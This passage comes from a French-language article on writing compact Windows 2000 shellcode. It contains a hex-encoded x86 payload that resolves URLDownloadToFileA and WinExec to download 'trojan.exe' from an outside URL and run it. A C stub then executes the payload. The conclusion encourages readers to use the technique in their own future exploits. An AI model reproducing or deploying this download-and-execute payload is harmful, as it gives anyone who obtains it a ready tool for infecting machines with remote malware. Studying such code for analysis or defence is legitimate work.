	"/x40/x18/x8B/x58/x3C/x03/xD8/x8B/x5B/x78/x03/xD8/x8B/x73/x1C/x03"
	"/xF0/x56/x8B/x73/x24/x03/xF0/x56/x8B/x53/x20/x03/xD0/x8B/x5B/x18"
	"/x4B/x8B/x34/x9A/x03/xF0/x03/x74/x24/x14/x8B/x36/x3B/x74/x24/x18"
	"/x74/x0A/x4B/x23/xDB/x75/xEA/x58/x58/x33/xC0/xC3/x5F/x33/xC9/x66"
	"/x8B/x0C/x5F/x5F/x8B/x3C/x8F/x8D/x04/x07/xC3/x8B/x18/x8B/xC3/x3B"
	"/xC1/x75/x9D/xC3/xEB/x7C/x33/xDB/x68/x79/x45/x78/x41/x6A/x0A/x6A"
	"/x4B/x53/xE8/x7B/xFF/xFF/xFF/x33/xC9/x51/x68/x75/x72/x6C/x6D/x66"
	"/xC7/x44/x24/x04/x6F/x6E/x8B/xEC/x51/x51/x55/xFF/xD0/x68/x69/x6C"
	"/x65/x41/x6A/x0E/x6A/x72/x6A/x02/xE8/x55/xFF/xFF/xFF/x33/xDB/x53"
	"/x68/x61/x2E/x65/x78/xC6/x44/x24/x04/x65/x8B/xCC/x53/x53/x51/xFF"
	"/x75/x18/x53/xFF/xD0/x33/xDB/x68/x69/x6E/x45/x78/x6A/x01/x6A/x4B"
	"/x53/xE8/x2C/xFF/xFF/xFF/x8D/x4C/x24/x10/x6A/x01/x51/xFF/xD0/x33"
	"/xDB/x68/x78/x69/x74/x50/x6A/x01/x6A/x4B/x53/xE8/x12/xFF/xFF/xFF"
	"/xFF/xD0/xE8/x7F/xFF/xFF/xFF"
	"http://www.chez.com/mvm/trojan.exe"
	} ;

void (*shellcode) () = ( void * ) rawData;
shellcode ();

return 0;
}

=================================================== EOF =================================================






/*************************************************************************************
VI. CONCLUSION
*************************************************************************************/

Pour conclure cet article, qui n'est rien d'autre qu'un grain de sable dans la plage
de connaissance des shellcodes, nous attirons votre attention sur le fait que cette
technique n'a été élaborée que pour windows 2000, ce qui peut être une problématique
dans le cas d'une exploitation censée marcher dans un environement hétérogène (win9x/NT/2k/xp/...)

Nous espérons donc que cette solution (spécifique a win2K) vous ouvrira les chakras
de l'innovation dans la conception de vos futures exploits des autres OS de la gamme
Windows, et que nous n'aurons plus à supporter à l'avenir des codes sources hideux, comportant
d'infames buffers initialisés avec des shellcodes dépassant les 500 octets ! !




/*************************************************************************************
VII. FIN
*************************************************************************************/

ENFIN ! l'article est fini !

vous pouvez maintenant couper votre ordinateur et reprendre une activité normale :)




CONTACT
_______


 de ce paper <**> */

你可能感兴趣的:(WhitePaper)